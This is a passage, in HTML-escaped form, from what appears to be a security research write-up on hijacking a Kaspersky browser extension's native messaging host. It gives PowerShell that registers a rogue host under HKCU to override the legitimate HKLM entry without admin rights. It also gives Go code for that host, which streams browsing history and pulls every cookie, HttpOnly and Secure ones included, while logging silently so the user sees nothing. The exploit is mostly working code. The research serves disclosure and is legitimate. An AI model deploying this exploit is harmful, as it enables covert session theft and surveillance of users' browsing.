to actually capture the input values, but still, the host can be notified whenever the user types in a password field.&lt;&#x2F;p&gt;
&lt;p&gt;In short, if you hijack the native host, you get:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Steal all cookies&lt;&#x2F;strong&gt; (incl. &lt;code&gt;Secure&lt;&#x2F;code&gt; + &lt;code&gt;HttpOnly&lt;&#x2F;code&gt;): &lt;code&gt;cm.getCookie&lt;&#x2F;code&gt; on any URL&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Set arbitrary cookies&lt;&#x2F;strong&gt;: &lt;code&gt;cm.setCookie&lt;&#x2F;code&gt; for session fixation&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Real-time browsing history&lt;&#x2F;strong&gt;: all &lt;code&gt;wn.*&lt;&#x2F;code&gt; events stream every URL&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Redirect any tab&lt;&#x2F;strong&gt;: &lt;code&gt;wsm.forceRedirect&lt;&#x2F;code&gt; to any URL&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Detect password&#x2F;card input events&lt;&#x2F;strong&gt;: &lt;code&gt;vs.onPasswordEntered&lt;&#x2F;code&gt; and &lt;code&gt;vs.onCardEntered&lt;&#x2F;code&gt; events&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;hijacking-the-native-messaging-host&quot;&gt;Hijacking the native messaging host&lt;&#x2F;h4&gt;
&lt;p&gt;Let&#x27;s try to hijack the native messaging host. The extension connects to its native host via &lt;code&gt;chrome.runtime.connectNative(&quot;com.kaspersky.ahkjpbeeocnddjkakilopmfdlnjdpcdm.host&quot;)&lt;&#x2F;code&gt;. Chrome resolves this name to a binary path through a registry key. The legitimate product registers this under &lt;a href=&quot;https:&#x2F;&#x2F;www.bleepingcomputer.com&#x2F;glossary&#x2F;hkey-local-machine&#x2F;&quot;&gt;&lt;code&gt;HKLM&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, but here&#x27;s the thing, &lt;a href=&quot;https:&#x2F;&#x2F;www.bleepingcomputer.com&#x2F;glossary&#x2F;hkey-current-user&#x2F;&quot;&gt;&lt;code&gt;HKCU&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Windows_Registry#:~:text=The%20HKEY_LOCAL_MACHINE%20(local,precedence%20over%20HKCU.&quot;&gt;takes precedence&lt;&#x2F;a&gt; over &lt;code&gt;HKLM&lt;&#x2F;code&gt;. So we can register our own rogue host under &lt;code&gt;HKCU&lt;&#x2F;code&gt; without needing admin privileges:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RegPath &lt;&#x2F;span&gt;&lt;span&gt;= &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HKCU:\Software\Google\Chrome\NativeMessagingHosts\com.kaspersky.ahkjpbeeocnddjkakilopmfdlnjdpcdm.host&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Write native messaging manifest pointing to our rogue host
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Manifest &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;@&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name            &lt;&#x2F;span&gt;&lt;span&gt;= &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;com.kaspersky.ahkjpbeeocnddjkakilopmfdlnjdpcdm.host&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;description     &lt;&#x2F;span&gt;&lt;span&gt;= &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;PoC native messaging host&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;path            &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BinDir&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;\\host.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;type            &lt;&#x2F;span&gt;&lt;span&gt;= &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdio&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allowed_origins &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;@&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;chrome-extension:&#x2F;&#x2F;ahkjpbeeocnddjkakilopmfdlnjdpcdm&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Manifest &lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ConvertTo-Json &lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Set-Content &lt;&#x2F;span&gt;&lt;span&gt;-Path $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ManifestPath
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Register in HKCU to override the legitimate HKLM entry
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;New-Item &lt;&#x2F;span&gt;&lt;span&gt;-Path $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RegPath &lt;&#x2F;span&gt;&lt;span&gt;-Force | &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Out-Null
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Set-ItemProperty &lt;&#x2F;span&gt;&lt;span&gt;-Path $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RegPath &lt;&#x2F;span&gt;&lt;span&gt;-Name &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(Default)&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; -Value $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ManifestPath
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;the-rogue-host&quot;&gt;The rogue host&lt;&#x2F;h4&gt;
&lt;p&gt;Our rogue native messaging host is written in Go and implements just enough of the protocol to make the extension happy. The native messaging protocol uses 4-byte little-endian length-prefixed JSON messages over stdin&#x2F;stdout. The handshake is a simple:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sendMessage&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;protocolVersion&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;connect&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;})
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When the extension sends &lt;code&gt;init&lt;&#x2F;code&gt;, we reply activating the &lt;code&gt;wn&lt;&#x2F;code&gt; (web navigation) and &lt;code&gt;cm&lt;&#x2F;code&gt; (cookie manager) plugins:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;func &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;handleInit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;callID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;initSettings &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;plugins&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: []&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            {&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;wn&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;settingsJson&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;},
&lt;&#x2F;span&gt;&lt;span&gt;            {&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cm&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;settingsJson&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;},
&lt;&#x2F;span&gt;&lt;span&gt;        },
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sessionId&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;poc-session-1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ...send response with callId
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From that point on, the extension starts streaming every navigation event to us. When we see a committed navigation, we immediately request all cookies for that URL:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;func &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;handleNavigation&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;attr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;isFrame&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;isFrame&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;attr &lt;&#x2F;span&gt;&lt;span&gt;== &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;wn.onCommitted&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;isFrame &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[NAV] Tab &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%v&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;  =&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;tabId&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;strings&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HasPrefix&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;requestCookies&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; sends cm.getCookie command back to the extension
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The extension then responds with every cookie, including &lt;code&gt;Secure&lt;&#x2F;code&gt; and &lt;code&gt;HttpOnly&lt;&#x2F;code&gt; ones that the usual pleb JavaScript can never touch:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;func &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;handleCookies&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cookiesRaw&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cookies&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].([]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;raw &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;range &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cookiesRaw &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;raw&lt;&#x2F;span&gt;&lt;span&gt;.(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;any&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;domain&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;domain&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;secure&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;secure&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;httpOnly&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;httpOnly&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;].(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s  %s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;  (secure=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%v&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;, httpOnly=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%v&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;domain&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;secure&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;httpOnly&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;All output is then sent to &lt;code&gt;OutputDebugStringA&lt;&#x2F;code&gt; (viewable with DebugView), so that there are no log files dropped. The user sees nothing &amp;gt;:) (we kinda just wanted an excuse to use &lt;code&gt;OutputDebugStringA&lt;&#x2F;code&gt; tbh).&lt;&#x2F;p&gt;
